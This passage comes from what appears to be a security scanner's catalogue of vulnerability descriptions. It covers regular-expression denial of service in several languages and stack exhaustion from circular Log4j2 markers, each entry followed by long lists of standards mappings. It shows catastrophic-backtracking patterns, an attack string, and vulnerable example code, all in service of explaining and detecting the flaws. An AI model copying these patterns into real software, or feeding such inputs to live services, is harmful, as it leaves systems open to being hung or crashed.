[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.objc.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations which are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to over-consume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating repeating and alternating overlapping of nested and repeated regex groups. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service_reqular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.scala.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.

Example 1: If the following regular expressions are used in the identified vulnerable code a denial of service could occur:

(e+)+
([a-zA-Z]+)*
(e|ee)+


Example of problematic code relying on a flawed regular expressions:


let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}


Most regular expression parsers build Nondeterministic Finite Automaton (NFA) structures when evaluating regular expressions. The NFA tries all possible matches until a complete match is found. Given Example 1, if the attacker supplies the match string "eeeeZ" then there are 16 internal evaluations that the regex parser must go through to identify a match. If the attacker provides 16 "e"s ("eeeeeeeeeeeeeeeeZ") as the match string then the regex parser must go through 65536 (2^16) evaluations. The attacker may easily consume computing resources by increasing the number of consecutive match characters. There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.swift.denial_of_service_regular_expression
Abstract
An attacker can input specially crafted data to modify or define a program's data structure implementation, which can result in a denial of service through stack exhaustion.
Explanation
User specified data that is directly used by a program to modify or define its data structure implementation might be susceptible to stack exhaustion. For example, if a user can create circular links in a linked data structure that is processed recursively, this can lead to infinite recursion that results in stack exhaustion.

Example 1: The following code snippet demonstrates this vulnerability using Apache Log4j2.

Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");

child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));

String toInfinity = child.toString();


This small program allows the user to set the parent marker of child and parent to a user-defined marker. If the user inputs the parent of child to be parent, and the parent of parent to be child, a circular link is created in the Marker data structure. When running the recursive toString method on the data structure containing the circular link, the program will throw a stack overflow exception and crash. This causes a denial of service through stack exhaustion.
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 674
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.3 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_stack_exhaustion
Abstract
Appending untrusted data to a StringBuilder or StringBuffer instance initialized with the default backing array size can cause the JVM to overconsume heap memory space.
Explanation
